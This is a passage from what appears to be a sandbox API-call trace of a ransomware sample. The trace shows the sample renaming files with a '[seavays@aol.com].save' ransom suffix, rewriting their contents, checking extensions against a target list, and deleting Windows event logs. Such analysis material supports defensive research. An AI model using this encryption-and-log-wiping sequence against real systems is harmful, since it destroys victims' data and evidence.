returned 36 [0058.176] lstrlenW (lpString=".jpg") returned 4 [0058.176] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0058.176] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0058.176] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0058.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0058.176] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2141433) returned 1 [0058.177] CloseHandle (hObject=0x378) returned 1 [0058.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0058.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.177] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[seavays@aol.com].save")) returned 1 [0058.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0058.177] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0x0) returned 1 [0058.177] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0058.178] ReadFile (in: hFile=0x378, lpBuffer=0x3afc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3afc058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0058.183] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0058.183] ReadFile (in: hFile=0x378, lpBuffer=0x3b3c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b3c058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0058.187] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0058.187] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0058.187] ReadFile (in: hFile=0x378, lpBuffer=0x3b7c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b7c058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0058.213] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.213] WriteFile (in: hFile=0x378, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x300fca8, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0058.776] SetEndOfFile (hFile=0x378) returned 1 [0058.776] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x43fbfd8 [0058.776] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0058.776] WriteFile (in: hFile=0x378, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0058.778] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0058.778] WriteFile (in: hFile=0x378, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0058.781] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0058.781] WriteFile (in: hFile=0x378, lpBuffer=0x43fbfd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x43fbfd8*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0058.784] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0058.784] CloseHandle (hObject=0x378) returned 1 [0060.047] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0060.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.047] lstrlenW (lpString=".doc") returned 4 [0060.047] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0060.047] lstrlenW (lpString=".docx") returned 5 [0060.047] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0060.047] lstrlenW (lpString=".pdf") returned 4 [0060.047] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0060.047] lstrlenW (lpString=".xls") returned 4 [0060.047] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0060.047] lstrlenW (lpString=".xlsx") returned 5 [0060.047] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0060.047] lstrlenW (lpString=".ppt") returned 4 [0060.047] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0060.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.048] lstrlenW (lpString=".zip") returned 4 [0060.048] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0060.048] lstrlenW (lpString=".rar") returned 4 [0060.048] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0060.048] lstrlenW (lpString=".bz2") returned 4 [0060.048] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0060.048] lstrlenW (lpString=".7z") returned 3 [0060.048] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0060.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.048] lstrlenW (lpString=".dbf") returned 4 [0060.048] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0060.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.048] lstrlenW (lpString=".1cd") returned 4 [0060.048] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0060.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.048] lstrlenW (lpString=".jpg") returned 4 [0060.048] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0060.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.048] lstrlenW (lpString=".doc") returned 4 [0060.048] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0060.048] lstrlenW (lpString=".docx") returned 5 [0060.048] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0060.048] lstrlenW (lpString=".pdf") returned 4 [0060.048] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0060.048] lstrlenW (lpString=".xls") returned 4 [0060.048] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0060.048] lstrlenW (lpString=".xlsx") returned 5 [0060.048] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0060.048] lstrlenW (lpString=".ppt") returned 4 [0060.048] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0060.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.049] lstrlenW (lpString=".zip") returned 4 [0060.049] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0060.049] lstrlenW (lpString=".rar") returned 4 [0060.049] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0060.049] lstrlenW (lpString=".bz2") returned 4 [0060.049] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0060.049] lstrlenW (lpString=".7z") returned 3 [0060.049] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0060.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.049] lstrlenW (lpString=".dbf") returned 4 [0060.049] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0060.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.049] lstrlenW (lpString=".1cd") returned 4 [0060.049] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0060.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0060.049] lstrlenW (lpString=".jpg") returned 4 [0060.049] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0060.049] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0060.049] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0060.049] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0060.804] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0060.804] CloseHandle (hObject=0x37c) returned 1 [0060.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0060.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0060.815] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.815] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0061.362] GetLastError () returned 0x0 [0061.362] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.367] WriteFile (in: hFile=0x380, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.369] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.369] WriteFile (in: hFile=0x380, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x144, lpOverlapped=0x0) returned 1 [0061.369] SetEndOfFile (hFile=0x380) returned 1 [0061.369] CloseHandle (hObject=0x380) returned 1 [0061.372] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.372] SetEndOfFile (hFile=0x37c) returned 1 [0061.373] CloseHandle (hObject=0x37c) returned 1 [0061.373] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.373] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0061.373] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.374] lstrlenW (lpString=".doc") returned 4 [0061.374] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString=".docx") returned 5 [0061.374] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.374] lstrlenW (lpString=".pdf") returned 4 [0061.374] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString=".xls") returned 4 [0061.374] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString=".xlsx") returned 5 [0061.374] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.374] lstrlenW (lpString=".ppt") returned 4 [0061.374] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.374] lstrlenW (lpString=".zip") returned 4 [0061.374] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString=".rar") returned 4 [0061.374] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString=".bz2") returned 4 [0061.374] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString=".7z") returned 3 [0061.374] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.374] lstrlenW (lpString=".dbf") returned 4 [0061.374] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.374] lstrlenW (lpString=".1cd") returned 4 [0061.374] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.374] lstrlenW (lpString=".jpg") returned 4 [0061.374] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.375] lstrlenW (lpString=".doc") returned 4 [0061.375] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString=".docx") returned 5 [0061.375] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.375] lstrlenW (lpString=".pdf") returned 4 [0061.375] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString=".xls") returned 4 [0061.375] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString=".xlsx") returned 5 [0061.375] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.375] lstrlenW (lpString=".ppt") returned 4 [0061.375] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.375] lstrlenW (lpString=".zip") returned 4 [0061.375] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString=".rar") returned 4 [0061.375] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString=".bz2") returned 4 [0061.375] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString=".7z") returned 3 [0061.375] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.375] lstrlenW (lpString=".dbf") returned 4 [0061.375] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.375] lstrlenW (lpString=".1cd") returned 4 [0061.375] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0061.375] lstrlenW (lpString=".jpg") returned 4 [0061.375] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.376] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.376] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0061.376] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0061.376] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0061.376] CloseHandle (hObject=0x37c) returned 1 [0061.376] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0061.376] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.376] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0061.376] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.376] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.376] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0061.377] GetLastError () returned 0x0 [0061.377] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.379] WriteFile (in: hFile=0x380, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.381] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.381] WriteFile (in: hFile=0x380, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x138, lpOverlapped=0x0) returned 1 [0061.382] SetEndOfFile (hFile=0x380) returned 1 [0061.382] CloseHandle (hObject=0x380) returned 1 [0061.384] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.384] SetEndOfFile (hFile=0x37c) returned 1 [0061.385] CloseHandle (hObject=0x37c) returned 1 [0061.385] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.385] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0061.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.386] lstrlenW (lpString=".doc") returned 4 [0061.386] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.386] lstrlenW (lpString=".docx") returned 5 [0061.386] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.386] lstrlenW (lpString=".pdf") returned 4 [0061.386] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.386] lstrlenW (lpString=".xls") returned 4 [0061.386] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.386] lstrlenW (lpString=".xlsx") returned 5 [0061.386] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.386] lstrlenW (lpString=".ppt") returned 4 [0061.386] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.386] lstrlenW (lpString=".zip") returned 4 [0061.386] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.386] lstrlenW (lpString=".rar") returned 4 [0061.386] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.386] lstrlenW (lpString=".bz2") returned 4 [0061.386] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.386] lstrlenW (lpString=".7z") returned 3 [0061.386] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.386] lstrlenW (lpString=".dbf") returned 4 [0061.386] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.386] lstrlenW (lpString=".1cd") returned 4 [0061.387] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.387] lstrlenW (lpString=".jpg") returned 4 [0061.387] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.387] lstrlenW (lpString=".doc") returned 4 [0061.387] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString=".docx") returned 5 [0061.387] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.387] lstrlenW (lpString=".pdf") returned 4 [0061.387] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString=".xls") returned 4 [0061.387] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString=".xlsx") returned 5 [0061.387] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.387] lstrlenW (lpString=".ppt") returned 4 [0061.387] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.387] lstrlenW (lpString=".zip") returned 4 [0061.387] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString=".rar") returned 4 [0061.387] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString=".bz2") returned 4 [0061.387] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString=".7z") returned 3 [0061.387] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.387] lstrlenW (lpString=".dbf") returned 4 [0061.387] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0061.387] lstrlenW (lpString=".1cd") returned 4 [0061.388] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.388] lstrlenW 